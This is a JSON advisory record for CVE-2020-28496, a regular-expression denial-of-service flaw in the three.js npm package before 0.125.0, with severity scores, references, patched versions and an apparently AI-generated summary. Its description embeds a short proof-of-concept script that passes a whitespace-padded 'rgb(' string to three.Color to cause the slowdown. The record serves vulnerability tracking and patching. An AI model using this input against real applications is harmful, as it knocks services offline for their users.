{"id":"CVE-2020-28496","published":"2021-02-18T14:20:22Z","modified":"2024-09-17T01:01:31Z","title":"Regular Expression Denial of Service (ReDoS)","vendor":null,"product":null,"tier":"tail","description":{"text":"This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = \"rgb(\" for (var i = 0; i < n; i++) { ret += \" \" } return ret + \"\"; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+\" ms\")","provenance":"source","from":"CVE.org"},"cvss":{"score":7.5,"severity":"HIGH","version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","provenance":"source","from":"CVE.org CNA"},"epss":{"score":0.0255,"percentile":0.85419,"provenance":"source"},"cwes":[],"references":[{"url":"https://snyk.io/vuln/SNYK-JS-THREE-1064931","tags":["x_refsource_MISC"]},{"url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972","tags":["x_refsource_MISC"]},{"url":"https://github.com/mrdoob/three.js/issues/21132","tags":["x_refsource_MISC"]},{"url":"https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e","tags":["x_refsource_MISC"]}],"priority":{"score":22.3,"factors":[{"name":"EPSS percentile","points":17.08},{"name":"CVSS severity","points":5.25}]},"affectedVersions":[{"vendor":"n/a","product":"three","versions":[">= unspecified, < 0.125.0"]}],"affected":[{"ecosystem":"npm","package":"three","vulnerableRanges":["<0.125.0"],"patched":["0.125.0"],"from":["GHSA-fq6p-x6j3-cmmq"],"provenance":"source"}],"summary":{"text":"The flaw is a Regular Expression Denial of Service (ReDoS) in the three package, prior to version 0.125.0, in the color-handling code that processes rgb and hsl color strings. An attacker with unauthenticated network access can supply a crafted, whitespace-heavy color string that causes excessive processing time, so that handling it exhausts resources and makes the application unavailable, with no user interaction or special configuration required.","provenance":"ai","model":"claude-haiku-5-5","generatedAt":"2026-11-20T06:48:19Z"},"euvd":{"id":"EUVD-2021-0655","exploited":false,"provenance":"source"}}